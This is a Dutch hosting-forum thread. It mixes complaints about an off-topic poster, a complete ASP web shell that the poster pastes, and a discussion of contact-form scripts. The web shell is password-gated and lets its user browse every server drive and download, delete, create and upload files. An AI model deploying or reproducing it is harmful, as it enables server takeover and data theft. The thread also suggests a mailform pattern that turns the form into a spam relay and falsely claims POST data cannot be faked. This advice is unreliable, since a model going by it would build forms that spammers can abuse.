Kaptan, stuur mij anders even een mailtje (zie handtekening).. ik zal je proberen te helpen. Je vele berichten beginnen mensen nu een beetje te irriteren denk ik.
edit: Voor mijn mailadres zie mijn handtekening; l.rikken@linxhosting.nl
Likes: 0
Kaptan, stuur mij anders even een mailtje (zie handtekening).. ik zal je proberen te helpen. Je vele berichten beginnen mensen nu een beetje te irriteren denk ik.
edit: Voor mijn mailadres zie mijn handtekening; l.rikken@linxhosting.nl
Laatst gewijzigd door Luuc; 23/08/05 om 23:20.
wat is je mail adres
Ik heb een probleem met de Windows 2003 machine met plesk.
Door een PHP script kunnen ze mijn hele C:\ schijf inzien, wijzigen, toevoegen en downloaden.
Hoe kan ik dit tegengaan?
(ik heb ook een prive bericht aan luuc gezonden)
Die vraag staat al hier:Origineel geplaatst door Kaptan
Ik heb een probleem met de Windows 2003 machine met plesk.
Door een PHP script kunnen ze mijn hele C:\ schijf inzien, wijzigen, toevoegen en downloaden.
Hoe kan ik dit tegengaan?
(ik heb ook een prive bericht aan luuc gezonden)
http://www.webhostingtalk.nl/showthr...threadid=75259
Is dus niet weg gehaald.
Snap dat je wanhopig bent, maar dit is duidelijk niet de manier. In andere topics je eigen vraag droppen wekt o.a. een hoop irritatie op.
Mooi moment om het te leren :-)Origineel geplaatst door itc
Mooi, back on topic graag! crazycoder: kan jij me wellicht helpen aan een scriptje dat dit kan, zoals gezegt heb ik van dit alles niet veel kaas gegeten![]()
Zal morgen eens zien of ik iets voor je kan regelen..
OMG![]()
Kaptan als je iets hebt wat van waarde kan zijn voor de TS (Topic Starter) dan vertel je hier eerst wat je nou precies hebt, en vraag je de TS daarna om contact met je op te nemen als het hem iets lijkt.
Edit: de posts gaan snel, was weer te traag.
hier heb je ASP maarje hebt ook PHP die heb ik niet
<%@ LANGUAGE="VBSCRIPT" %>
<%
IntPass = "Axxz"
Response.Buffer = true
Response.Clear
Const adTypeBinary = 1
Dim Name,Password,Login
If Not Session("Open") = "True" then%>
<title>Exploited by Chuyengiacvv2 ::: Login</title>
<BODY BGCOLOR="#3971ad" onload="window.Introd.PassW.focus();">
<FORM name="Introd" method="post" action="<%=RedirName%>">
<table align=left border="0" width=250">
<tr>
<td align="center">
<P><font color="********"><font class=normal>Password:</font> </font><input type=password name=PassW ID=PassW size=8> <input type=submit class=boton2 name=Entrar ID=Entrar value=" Enter "></P>
</td>
</tr>
</table>
</form>
</BODY>
</HTML>
<% Session("Open") = "True"
Response.End
else
if Session("Enter") = "1" then
else
Login = "True"
Password = Request.Form("Passw")
If not Password = IntPass then Login= "False"
If Login= "False" then
Session.Abandon
Response.Write "Invalid Password!!! <A HREF=""javascript:history.back(1)"">try again"
Response.End
else
Session("Enter") = "1"
end if
end if
End If
sAction=Request.QueryString("action")
if sAction="download_file" then
download()
end if
sub Download()
dim oStream
dim szFileName
szFileName=Request.QueryString("strPath") & Request.QueryString("strFile")
set oStream=Server.CreateObject("ADODB.Stream")
oStream.Type=1
oStream.Open
on error resume next
oStream.LoadFromFile(szFileName)
if Err.Number=0 then
Response.AddHeader "Content-Disposition", "attachment; filename=" & FSO.GetFileName(szFileName)
Response.AddHeader "Content-Length", oStream.Size
Response.ContentType="bad/type"
Response.BinaryWrite oStream.Read
end if
oStream.Close
set oStream=nothing
Destroy()
end sub
%>
<HTML>
<HEAD>
<TITLE>Exploited by Chuyengiacvv2 ::: ThienTaiThienTai</TITLE>
<STYLE type=text/css>
A:link {COLOR: "#CEFF63" ; TEXT-DECORATION: none}
A:visited {COLOR: "********" ; TEXT-DECORATION: none}
A:hover {COLOR: ##CEFF63; TEXT-DECORATION: underline overline}
</STYLE>
</HEAD>
<BODY BGCOLOR="#3971ad">
<TABLE cellSpacing=1 borderColorDark=#cccccc width="100%" borderColorLight=#cccccc border=1>
<TR>
<TD ALIGN="LEFT">
<FORM ACTION="speed.asp" METHOD="GET">
<%
Server.ScriptTimeout = 3000
Set fsDrive = CreateObject("Scripting.FileSystemObject")
Set drvHack = fsDrive.Drives
For Each drvType In drvHack
strDrives = strDrives & "<OPTION VALUE=""" & drvType & """>" & drvType & "</OPTION>"
x = x + 1
Next
%>
<Select NAME="strPath" WIDTH="20">
<%= strDrives %>
</Select><br>
<INPUT TYPE="SUBMIT" NAME="SUBMIT" VALUE="Surucuyu Degistir">
</FORM>
</TD>
<TD align="center">
<%
if request.querystring("strPath")<>"" then
Response.Write ("<form action='speed.asp?strPath=" & request.querystring("strPath") & "&action=create_folder'" & " method=""post"">")
else
Response.Write ("<form action='speed.asp?action=create_folder'" & " method=""post"">")
end if
%>
<input type="text" name="newSubF" size="24"><br>
<input type="submit" name="submitButtonName" value="Klasor Olustur">
</form>
</TD>
<TD align="center">
<%
if request.querystring("strPath")<>"" then
Response.Write ("<form action='speed.asp?strPath=" & request.querystring("strPath") & "&action=create_file'" & " method=""post"">")
else
Response.Write ("<form action='speed.asp?action=create_file'" & " method=""post"">")
end if
%>
<input type="text" name="newFile" size="24"><br>
<input type="submit" name="submitButtonName" value="Dosya Olustur">
</form>
</TD>
<TD align="center">
<%
if request.querystring("strPath")<>"" then
Response.Write "<FORM ACTION='speed.asp?strPath=" & request.querystring("strPath") & "' METHOD=""POST"" enctype=""multipart/form-data"" id=form name=form>"
else
Response.Write "<FORM ACTION=speed.asp METHOD=""POST"" enctype=""multipart/form-data"" id=form name=form>"
end if
%>
<INPUT name=file1 type="file">
<INPUT type=submit value="Dosya Yukle">
</FORM>
</TD>
</TR>
</TABLE><BR>
<!--************************************************** **************-->
<TABLE cellSpacing=1 borderColorDark=#cccccc width="100%" borderColorLight=#cccccc border=1>
<TR>
<%
strDir = Request("strPath")
if strDir = "" Then strDir = Server.MapPath("/")
strParse = strDir
if Right(strParse, 1) <> "\" Then strParse = strParse & "\"
lngPos = InStr(1, strParse, "\")
strOut = "<A HREF=""speed.asp?strPath=" & Mid(strParse, 1, lngPos) & """>▀ " & Left(strParse, lngPos) & "</A><BR>"
x = 2
Do While lngPos <> 0
oldPos = lngPos
lngPos = InStr(oldPos + 1, strParse, "\")
if lngPos = 0 Then Exit Do
For y = 1 To x
strIndent = strIndent & " "
Next
strOut = strOut & strIndent & "<A HREF=""speed.asp?strPath=" & Mid(strParse, 1, lngPos) & """> ▀ " & Mid(strParse, oldPos + 1, lngPos - (oldPos + 1)) & "</A><BR>"
x = x + 2
if lngPos = Len(strParse) Then Exit Do
Loop
Response.Write("<TD width=""40%"" VALIGN=""TOP"">")
Response.Write(strOut)
strIndent = strIndent & " "
Set objFSObject = CreateObject("Scripting.FileSystemObject")
Set objFolder = objFSObject.GetFolder(strDir)
Set colFolders = objFolder.SubFolders
action=request.querystring("action")
Select Case action
Case "delete_file"
objFSObject.DeleteFile(request.querystring("strPat h") & request.querystring("strFile"))
Case "create_folder"
strPath=request.querystring("strPath")
if strPath <> "" then
If right(strPath,1)<>"/" then strPath= strPath & "/"
objFSObject.CreateFolder(strPath & request.form("newSubF"))
else
objFSObject.CreateFolder(strParse & request.form("newSubF"))
end if
Case "create_file"
strPath=request.querystring("strPath")
if strPath <> "" then
If right(strPath,1)<>"/" then strPath= strPath & "/"
objFSObject.CreateTextFile(strPath & request.form("newFile"))
else
objFSObject.CreateTextFile(strParse & request.form("newFile"))
end if
End select %>
<!--************************** BEGIN UPLOAD **************************************-->
<%
dim PosB, PosBBound, PosEBound, PosEHead, PosBFld, PosEFld,strPath
dim Boundary, BBoundary, PartBHeader, PartAHeader, PartContent, PartContent2, Binary
dim fso, fle, rst, DataString, FileName
dim I, Length, ContType, PartName, LastPart, BCrlf, PartContentLength
const adLongVarBinary = 205
const adLongVarchar = 201
If Request.ServerVariables("REQUEST_METHOD") = "POST" Then
ContType = Request.ServerVariables("HTTP_Content_Type")
If LCase(Left(ContType, 19)) = "multipart/form-data" Then
PosB = InStr(LCase(ContType), "boundary=")
If PosB > 0 Then Boundary = Mid(ContType, PosB + 9)
PosB = InStr(LCase(ContType), "boundary=")
If PosB > 0 then
PosB = InStr(Boundary, ",")
If PosB > 0 Then Boundary = Left(Boundary, PosB - 1)
end if
Length = CLng(Request.ServerVariables("HTTP_Content_Length" ))
End If
If Length > 0 And Boundary <> "" Then
Boundary = "--" & Boundary
Binary = Request.BinaryRead(Length)
For I=1 to len(Boundary)
BBoundary = BBoundary & ChrB(Asc(Mid(Boundary,I,1)))
Next
BCrlf = ChrB(Asc(vbCr)) & ChrB(Asc(vbLf))
PosBBound = InStrB(Binary, BBoundary)
PosEBound = InStrB(PosBBound + LenB(BBoundary), Binary, BBoundary, 0)
Do While (PosBBound > 0 And PosEBound > 0)
PosEHead = InStrB(PosBBound + LenB(BBoundary), Binary, BCrlf & BCrlf)
PartBHeader = MidB(Binary, PosBBound + LenB(BBoundary) + 2, PosEHead - PosBBound - LenB(BBoundary) - 2)
PartAHeader = ""
For I=1 to lenb(PartBHeader)
PartAHeader = PartAHeader & Chr(AscB(MidB(PartBHeader,I,1)))
Next
If Right(PartAHeader,1) <> ";" Then PartAHeader = PartAHeader & ";"
PartContent = MidB(Binary, PosEHead + 4, PosEBound - (PosEHead + 4) - 2)
PosBFld = Instr(lcase(PartAHeader),"name=")
If PosBFld > 0 Then
PosEFld = Instr(PosBFld,lcase(PartAHeader),";")
If PosEFld > 0 Then
PartName = Mid(PartAHeader,PosBFld+5,PosEFld-PosBFld-5)
end if
Do Until Left(PartName,1) <> """"
PartName = Mid(PartName,2)
Loop
Do Until Right(PartName,1) <> """"
PartName = Left(PartName,Len(PartName)-1)
Loop
end if
PosBFld = Instr(lcase(PartAHeader),"filename=""")
If PosBFld > 0 Then
PosEFld = Instr(PosBFld + 10,lcase(PartAHeader),"""")
If PosEFld > 0 Then
FileName = Mid(PartAHeader,PosBFld+10,PosEFld-PosBFld-10)
end if
Do Until Left(FileName,1) <> """"
FileName = Mid(FileName,2)
Loop
Do Until Right(FileName,1) <> """"
FileName = Left(FileName,Len(FileName)-1)
Loop
Else
FileName = ""
end if
if vartype(PartContent) = 8 then
Set rst = CreateObject("ADODB.Recordset")
PartContentLength = LenB(PartContent)
if PartContentLength > 0 then
rst.Fields.Append "data", adLongVarBinary, PartContentLength
rst.Open
rst.AddNew
rst("data").AppendChunk PartContent & ChrB(0)
rst.Update
PartContent2 = rst("data").GetChunk(PartContentLength)
rst.close
set rst = nothing
else
PartContent2 = ChrB(0)
End If
else
PartContent2 = PartContent
end if
PartContentLength = LenB(PartContent2)
if PartContentLength > 0 then
Set rst = CreateObject("ADODB.Recordset")
rst.Fields.Append "data", adLongVarChar, PartContentLength
rst.Open
rst.AddNew
rst("data").AppendChunk PartContent2
rst.Update
DataString = rst("data")
rst.close
set rst = nothing
Else
dataString = ""
End If
If FileName <> "" Then
FileName = Mid(Filename,InstrRev(FileName,"\")+1)
set fso = Server.CreateObject("Scripting.Filesystemobject")
strPath=request.querystring("strPath")
if strPath <> "" then
If right(strPath,1)<>"\" then strPath= strPath & "\"
set fle = fso.CreateTextFile(strPath & FileName)
else
set fle = fso.CreateTextFile(server.MapPath(FileName))
end if
fle.write DataString
fle.close
set fle = nothing
set fso = nothing
else
End If
LastPart = MidB(Binary, PosEBound + LenB(BBoundary), 2)
If LastPart = ChrB(Asc("-")) & ChrB(Asc("-")) Then
PosBBound = 0
PosEBound = 0
else
PosBBound = PosEBound
PosEBound = InStrB(PosBBound + LenB(BBoundary), Binary, BBoundary)
End If
loop
end if
end if
%>
<!--************************** END UPLOAD **************************************-->
<%
For Each intFol in colFolders
strFName = intFol.name
Response.Write(strIndent & "<A HREF=""speed.asp?strPath=" & intFol.Path & """> ► " & strFName &"</A><BR>" & vbcrlf)
Next
Response.Write("</TD>")
Response.Write("<TD width=""60%"" VALIGN=""TOP"">")
Set colFiles = objFolder.Files
Response.Write("<TABLE width=""100%"" BORDER=0 CELLPADDING=0 CELLSPACING=0>")
For Each intF1 in colFiles
strFName = intF1.name
response.write "<TR><TD WIDTH=""65%""><A target=""_blank"" HREF=""edit.asp?path=" & strParse & "&file=" & strFName & """>☼ " & strFName &"</A></TD>"
response.write "<TD WIDTH=""15%""><A HREF=""speed.asp?strPath=" & strParse & "&strFile=" & strFName & "&action=delete_file" & """>☻ " & "Sil" & "</A></TD>"
response.write "<TD WIDTH=""20%""><A HREF=""speed.asp?strPath=" & strParse & "&strFile=" & strFName & "&action=download_file" & """>☻ " & "Indir" & "</A></TD></TR>"
Next
Response.Write("</TABLE> </TD>")
%>
</TR>
</TABLE>
</BODY>
</HTML>
<HTML>
<HEAD>
<TITLE>Exploited by ChuyengiaCvv2</TITLE>
<STYLE type=text/css>
A:link {COLOR: "#CEFF63" ; TEXT-DECORATION: none}
A:visited {COLOR: "********" ; TEXT-DECORATION: none}
A:hover {COLOR: ##CEFF63; TEXT-DECORATION: underline overline}
</STYLE>
</HEAD>
<BODY BGCOLOR="#3971ad">
<TABLE cellSpacing=1 borderColorDark=#cccccc width="100%" borderColorLight=#cccccc border=1>
<TR>
Kaptan, je schreef in je laatste e-mail dat je het nu begrijpt. Echter zie ik dat je bovenstaand bericht wéér in het verkeerde topic plaatst.
Plaats je bericht nou eens in je EIGEN topic s.v.p.
ok bedankt
Weet je zeker dat de IT business geschikt is voor jou?Origineel geplaatst door Kaptan
ok bedankt
Maar goed, ontopic:
Vaak gebruiken mailform scriptjes een verborgen veld met daarin het emailadres waar naartoe gemaild wordt, bijvoorbeeld:
Je kunt dit heel gemakkelijk vervangen door een dropdownbox met bijvoorbeeld 3 namen:PHP Code:<INPUT type=hidden name=mailto value"mijn@email.nl">
Dit kan je doen met 90% van de formmail scriptjes die overal op het internet te downloaden zijn.PHP Code:<select name="mailto">
<option value="sales@email.nl">Sales
<option value="info@email.nl">Algemeen
<option value="support@email.nl">Support
</select>
Voor meer selecteren:
dacht ik.PHP Code:<select name="mailto[]">
<option value="sales@email.nl">Sales
<option value="info@email.nl">Algemeen
<option value="support@email.nl">Support
</select>
Het is trouwens netter om </option> te gebruiken vind ik zelf.
Absoluut, die moet er wel achter, was ik even vergeten. Ik vraag me af of het zonder uberhaupt wel werkt.Origineel geplaatst door frvge
Het is trouwens netter om </option> te gebruiken vind ik zelf.
Dit was les in in de serie "hoe krijg ik zoveel mogelijk spam".Origineel geplaatst door NextIT
Weet je zeker dat de IT business geschikt is voor jou?
Maar goed, ontopic:
Vaak gebruiken mailform scriptjes een verborgen veld met daarin het emailadres waar naartoe gemaild wordt, bijvoorbeeld:
Je kunt dit heel gemakkelijk vervangen door een dropdownbox met bijvoorbeeld 3 namen:PHP Code:<INPUT type=hidden name=mailto value"mijn@email.nl">
Dit kan je doen met 90% van de formmail scriptjes die overal op het internet te downloaden zijn.PHP Code:<select name="mailto">
<option value="sales@email.nl">Sales
<option value="info@email.nl">Algemeen
<option value="support@email.nl">Support
</select>
Overigens kan je beter scripts die met een hidden veld voor het email adres werken zien te voorkomen. Het is voor derden veel te gemakkelijk om die voor het versturen van spam te misbruiken!
Je kan beter iets als:
<select name="contact">
<option value="1">Sales</option>
<option value="2">Algemeen</option>
<option value="3">Support</option>
</select>
In de HTML zetten, let op dat het wel binnen je FORM tags moet staan..
En in je php code iets als:
$contact=(int)$_POST{'contact'};
if($contact==1){
$email="sales@domeinnaam";
}
if($contact==2){
$email="info@domeinnaam";
}
if($contact==3){
$email="support@domeinnaam";
}
if($contact>3){
$email="info@domeinnaam";
}
Dit laatste om eventueel berichten die men door te rotzooien verzend ook binnen te krijgen.. ter leeringh ende vermaeck zullen we maar zeggen ;-)
Wil je het netjes doen dan werk je natuurlijk met isset i.p.v. met if.
Werkt het niet naar behoren kan je altijd nog " rond de getallen zetten.. zou overigens normaal gesproken niet nodig moeten zijn.
@frvge
Jouw oplossing is de natte droom van iedere spammer. Alles wat die hoeft te doen is een form te maken met een POST naar jouw script en hij/zij kan daar probleemloos 100 of meer adressen in kwakken. In combinatie met een database zal dat voor de spammert feilloos werken, terwijl jij of je klant het gezeik krijgt..
Gebruik dit soort oplossingen s.v.p. NOOIT!
Mocht je dergelijke scripts toch in een productie omgeving draaien, dan moet je extra maatregelen nemen in je code. Zoals
$aantaladressen=count($mailto);
en het script dood laten gaan bij meer dan 1 adres..
Maar ook een regular expression om uit te vlooien of de TO iets anders bevat dan de gewenste (eigen) domeinnaam kan helpen. Je kan natuurlijk ook een array maken met alle toegestane adressen en andere adressen gewoon niet toestaan.
Uiteindelijk kost dat veel meer tijd en energie dan het gelijk goed te doen.
Ik wil TS dan ook aanraden om niet te kiezen voor een mailto[] oplossing..
Laatst gewijzigd door crazycoder; 24/08/05 om 08:03.
Tja, de meeste mensen hebben hun emailadres ook gewoon op de "contact" pagina van hun website staan.Origineel geplaatst door crazycoder
Dit was les in in de serie "hoe krijg ik zoveel mogelijk spam".
Hij wilde meerdere ontvangers (volgens mij), dus krijgt hij die. Ik zeg niet dat het 100% veilig is. Als je het laat POSTen, kan de spammer alleen GET-info invoegen. Daarna, zoals ze zelf zei, de POST_nummers (tuurlijk niet met echte email adressen doen) via eigen db aan adres koppelen en mailen.
Tenzij er een manier is om POST info te faken heb je volgens mij geen last van spammers. En anders gaat het toch alleen naar de mensen in je eigen database. Toch?![]()